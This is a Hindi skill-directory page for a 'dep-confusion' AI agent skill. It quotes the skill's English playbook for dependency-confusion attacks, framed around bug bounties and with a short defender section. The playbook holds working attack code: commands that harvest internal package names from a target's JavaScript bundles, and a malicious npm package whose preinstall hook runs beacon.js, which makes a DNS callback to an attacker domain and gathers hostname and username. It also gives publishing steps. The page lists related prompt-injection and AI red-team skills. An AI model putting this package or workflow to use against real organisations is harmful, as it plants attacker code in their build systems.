मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #14046

dep-confusion

यह क्या करती है

यह गाइड dependency confusion को कवर करती है, एक सप्लाई-चेन कमज़ोरी जिसमें build सिस्टम निजी पैकेज के बजाय वही नाम वाला सार्वजनिक पैकेज ले लेता है। यह निजी पैकेज रजिस्ट्री संभालने वाली सुरक्षा टीमों के लिए है।

कब इस्तेमाल करें

  • ✓जब कंपनी आंतरिक पैकेज नाम इस्तेमाल करती है और सार्वजनिक रजिस्ट्री से भी इंस्टॉल करती है।
  • ✓जब जाँचना हो कि आंतरिक नाम सार्वजनिक रजिस्ट्री पर बिना दावे वाले पैकेज के रूप में मौजूद हैं या नहीं।
  • ✓जब build सिस्टम सार्वजनिक और निजी, दोनों रजिस्ट्री में खोज करने के लिए सेट हो।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमारी builds आंतरिक npm पैकेज इस्तेमाल करती हैं। क्या आप जाँच सकते हैं कि इनमें से कोई नाम सार्वजनिक रजिस्ट्री पर खाली है?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट सार्वजनिक फ़ाइलों में आंतरिक पैकेज नाम खोजता है, जाँचता है कि हर नाम सार्वजनिक रजिस्ट्री पर मौजूद है या नहीं, और उन नामों की रिपोर्ट करता है जिन्हें दावा करना या लॉक करना है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Dependency Confusion (Alex Birsan 2021)

When an org uses internal private packages (e.g. @target-internal/utils) AND a build system that searches BOTH public + private registries, an attacker can publish a public package w/ the same name at higher version. Default resolvers pick highest version → public package runs in CI.

1. Reconnaissance — find internal package names

Source Pattern
package.json in public repo "@target/foo" scoped packages
package.json exfiltrated from web (/static/) dependency lists
Webpack bundles leaked package.json strings
requirements.txt / Pipfile exposure target-internal-lib
pom.xml / build.gradle <groupId>com.target</groupId>
Github org code search @scope patterns in user/org-owned repos (sometimes accidentally public)
Stack Overflow / Stack Exchange engineers asking about internal libs
Sourcegraph public index broad search across exposed orgs
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
  curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u

2. Verify the package is private

# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate

# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available

# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq

If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).

3. Build the malicious package

mkdir attack-pkg && cd attack-pkg

# package.json
cat > package.json <<'EOF'
{
  "name": "@target/internal-utils",
  "version": "999.0.0",
  "description": "auth-research only",
  "scripts": {
    "preinstall": "node beacon.js"
  }
}
EOF

# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');

// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});

// Also collect basic env w/o exfil (just locally print for testing)
console.log({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  hostname_dns: dns.getServers(),
});
EOF

4. Publish

npm publish --access public
# For org scopes, may need to register the @scope first

5. Wait + observe

Within hours-days, target's CI will pull 999.0.0. Burp Collaborator shows DNS hits.

6. Programs that PAY for this

  • Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
  • Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope
  • Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier

7. PoC framing (for the report)

DO NOT:

  • Run any actual exploit logic
  • Exfiltrate any data
  • Steal credentials
  • Disable security

DO:

  • Generate a benign DNS callback (interactsh / Burp Collaborator)
  • Capture the timestamp + source IP from your callback log
  • Document the package as "research-only", deprecate it via npm immediately after PoC
  • Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"

8. Severity

Bug Severity
Confirmed install on production build infra Critical 10.0
Confirmed install on staging/dev Critical 9.0
Internal package name exposed but no public install attempt High (depends on data)

9. Defender

  • Block public-registry fallback for scoped packages: .npmrc @target:registry=https://internal-npm.target.com/
  • Use lockfiles + integrity hashes (package-lock.json w/ integrity field)
  • For PyPI: pip install --index-url internal-pypi/ --extra-index-url public-pypi/ is BACKWARDS — use --index-url internal-pypi/ --no-index and explicitly allowlist public packages
  • Reserve internal namespace prefixes on public registries before they're used internally
  • npm: use the @org scope and publ
अक्सर पूछे जाने वाले सवाल

यह क्यों होता है?

कई पैकेज टूल उपलब्ध सबसे ऊँचा संस्करण चुनते हैं, भले ही वह सार्वजनिक स्रोत से आया हो।

नाम कैसे जाँचा जाता है?

सार्वजनिक रजिस्ट्री पर उसे खोजकर देखा जाता है कि वह मौजूद है या नहीं।

समाधान क्या है?

सार्वजनिक रजिस्ट्री पर वह नाम दावा करें, या उस नाम के लिए केवल निजी रजिस्ट्री को स्रोत के रूप में पिन करें।

जानकारी

लेखक का मूल विवरण

Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#14046
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills